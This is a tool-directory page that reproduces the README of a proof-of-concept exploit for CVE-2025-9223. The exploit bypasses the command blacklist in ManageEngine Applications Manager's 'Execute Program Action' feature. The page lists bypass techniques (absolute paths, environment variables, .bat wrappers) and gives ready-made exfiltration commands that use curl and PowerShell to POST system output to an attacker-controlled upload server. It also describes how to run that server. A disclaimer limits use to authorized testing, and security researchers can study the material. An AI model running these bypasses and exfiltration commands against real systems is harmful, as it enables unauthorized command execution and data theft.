Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-9223 — POC CVE-2025-9223 | Kitploit
Tools/GitHubGitHub/networkkiller/cve-2025-9223
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration TestingCommand and ControlLearning & Education
GitHubnetworkkiller/cve-2025-9223

CVE-2025-9223

POC CVE-2025-9223

View Repository
2410 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Applications Manager - Execute Program Action Bypass PoC

Security Research Python 3.x Proof of Concept

📖 Description

This repository contains a Proof of Concept (PoC) that demonstrates a command execution vulnerability in the "Execute Program Action" feature of ManageEngine Applications Manager.

🔍 Vulnerability Details

Applications Manager uses a blacklist (BlackListCommands) to block dangerous commands, but the validation has critical flaws:

  • String-based validation only on the first token
  • No path normalization or environment variable expansion
  • No protection against indirect execution via scripts

🚨 Bypass Methods

Download Tool
MethodExample
Absolute PathC:\Windows\System32\netstat.exe
Environment Variables%SystemRoot%\System32\netstat.exe
Script Wrapperecho netstat > a.bat && a.bat

💥 Impact

  • ✅ Authenticated Remote Code Execution (RCE) on the Applications Manager host
  • ✅ Full system command execution bypassing security restrictions
  • ✅ Data exfiltration using system utilities (curl, powershell, certutil)

📤 Exfiltration Payload Example

root@kitploit:~
C:\Windows\System32\netstat.exe > out.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://[KALI_IP]:8000/upload

🛠️ Setup and Usage

Prerequisites

  • Python 3.x
  • Network access to the target Applications Manager instance
  • Authenticated access with "Execute Program Action" permissions

File Upload Server

The upload_server.py script provides a simple HTTP server for receiving exfiltrated files.

Basic Usage

root@kitploit:~
python3 upload_server.py

Advanced Options

root@kitploit:~
python3 upload_server.py --host 0.0.0.0 --port 8000 --dir ./uploads

Parameters

  • --host: Bind address (default: 0.0.0.0)
  • --port: HTTP port (default: 8000)
  • --dir: Output directory (default: current directory)

API Endpoints

MethodEndpointDescription
GET/Lists recently uploaded files
POST/uploadUploads files (multipart/form-data)
PUT/upload/[filename]Direct file upload

Security Features

✅ Path traversal protection
✅ Unique filenames with timestamp
✅ Request logging with IP and User-Agent
✅ Content-Type validation

🎯 Test Commands

Create a test_commands.txt file with bypass examples:

root@kitploit:~
# Bypass con ruta absoluta
C:\Windows\System32\whoami.exe
C:\Windows\System32\netstat.exe -an

# Bypass con variables de entorno
%SystemRoot%\System32\ipconfig.exe
%SystemRoot%\System32\systeminfo.exe

# Bypass con script wrapper
echo ipconfig > test.bat && test.bat
echo whoami > test.bat && call test.bat

# Ejemplos de exfiltración de datos
C:\Windows\System32\ipconfig.exe > network.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://ATTACKER_IP:8000/upload
C:\Windows\System32\systeminfo.exe > system.txt && C:\Windows\System32\powershell.exe -c "Invoke-WebRequest -Uri http://ATTACKER_IP:8000/upload -Method POST -InFile system.txt"

⚠️ Legal Disclaimer

IMPORTANT: This tool is provided solely for educational purposes and authorized testing.

❌ DO NOT use on systems you do not own or lack explicit permission to test
❌ DO NOT use for any illegal activity
✅ DO use only in controlled environments for security research
✅ DO obtain proper authorization before performing tests

The author is not responsible for any misuse of this tool. Users assume full responsibility and risk.

📄 License

This project is for research and educational purposes only. All rights reserved.

👨‍💻 Author

Johan Aybar - For educational purposes


⚠️ REMINDER: This PoC must only be used in authorized test environments. Unauthorized use may be illegal and is strictly prohibited.